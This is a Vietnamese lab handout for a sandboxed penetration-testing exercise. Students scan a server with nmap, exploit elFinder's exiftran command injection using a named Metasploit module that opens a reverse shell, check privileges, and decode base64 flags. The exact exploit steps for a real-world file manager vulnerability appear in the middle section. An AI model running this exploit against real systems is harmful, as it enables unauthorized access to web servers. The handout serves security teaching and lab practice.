****Tìm hiểu và khai thác công cụ elFinder****

1. **Mục đích**

- Tìm hiểu về lỗ hổng **Command Injection** trong elFinder – một trình quản lý file mã nguồn mở sử dụng phổ biến trong các hệ thống web.

- Rèn luyện kỹ năng khai thác lỗ hổng sử dụng công cụ **Metasploit**.

- Làm quen với việc phân tích dữ liệu mã hóa và trích xuất thông tin có giá trị (flag).

- Rèn luyện kỹ năng thu thập thông tin, đánh giá lỗ hổng và chiếm quyền hệ thống mục tiêu.

1. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về:

- Hệ điều hành **Linux** và cách sử dụng terminal.

- Công cụ **Metasploit Framework** và cách sử dụng các module khai thác (exploit, auxiliary).

- Kỹ thuật **Command Injection** và cơ chế hoạt động của webserver.

- Phân tích mã hóa **Base64**.

1. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

*labtainer -r pen\_tool\_elfinder*

*(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attack**, một cái là đại diện cho máy nạn nhân: **server**.

Máy **attack** thực hiện quét cổng và dịch vụ của máy **server** bằng công cụ nmap:

*sudo nmap -sS -sV <Ip server>*

Trên máy **attack** để scan thông tin về **server**, sử dụng câu lệnh:

*curl http://<Ip server>*

*curl http://145.170.0.30/elFinder/elfinder.html*

Trên máy **server**, thực hiện xem và chạy file create\_flag.py để tạo ra các file flag để tiếp tục bài thực hành.

*sudo python3 create\_flag.py*

Để nắm rõ được cách hoạt động, cũng như chức năng của elFinder,trên máy **server**, sinh viên sẽ sử dụng câu lệnh :

*firefox http://<IP server>*

Trên máy **server** để sử dụng và hiểu về elfinder upload file fileupload.txt trong máy, thêm 1 folder mới là tên lớp của sinh viên, trong folder mới tạo sẽ thêm 1 file png mới có tên là mã sinh viên ( VD: B20DCAT01.png).

Tiếp theo sinh viên thực hiện khai thác lỗ hổng elFinder PHP Connector exiftran Command Injection trên elFinder bằng Metasploit.

Trên máy **attack**, sinh viên vào Metasploit, sử dụng module:

*msfconsole*

*use exploit/unix/webapp/elfinder\_php\_connector\_exiftran\_cmd\_injection*

Sinh viên xem, cấu hình module và thực hiện khai thác:

*options*

*set RHOSTS <IP server>*

*set LHOST <IP attack>*

*set TARGETURI /elFinder/*

*run*

Cài đặt các thông số và khai thác thành công lỗ hổng elFinder PHP Connector exiftran Command Injection, Kiểm tra thông tin người dùng.

*whoami  
id*

Nhận xét quyền người dùng khi khai thác được lỗ hổng.

Sinh viên tìm và đọc file flag ở đường dẫn home/ubuntu. File *create\_flag.py* ở trên máy server sẽ tạo ra file cờ bị mã hóa bởi mã hõa base64 và lưu tại một thư mục nào đó. Sinh viên tìm và lưu lại file chuỗi code đã mã hóa để thực hiện giải mã để ra flag.

Trên Metasploit, sử dụng module:

*auxiliary/analyze/base64\_decoder*

Xem và cấu hình module khai thác để có thể chuyển đổi đoạn code đã được mã hoá trong file cờ để ra được thông điệp của cờ.

*Lưu ý: Có hai flag cần giải mã*

**Kiểm tra kết quả:**

Sinh viên thực hiện kiểm tra tiến độ hoặc kết quả bài thực hành sử dụng lệnh:

*checkwork*

**Kết thúc bài lab:**

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

*Stoplab <ten\_bai\_lab>*

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

**Khởi động lại bài lab:**

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer –r pen\_tool\_elfinder*

Thoát khỏi phiên reverse shell, sinh viên sử dụng module sau để có thể decode chuỗi base64 thành flag:

*auxiliary/analyze/base64\_decoder*

*Set ENCODED <base64 string>*

Cài đặt đoạn code đã được mã hoá trong file cờ để ra được thông điệp của cờ.

**Kiểm tra kết quả:**Sinh viên có thể kiểm tra tiến độ và kết quả bằng câu lệnh:

*checkwork*

**Kết thúc bài lab:**

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

*stoplab*

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

**Khởi động lại bài lab:**

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer –r pen\_tool\_elfinder*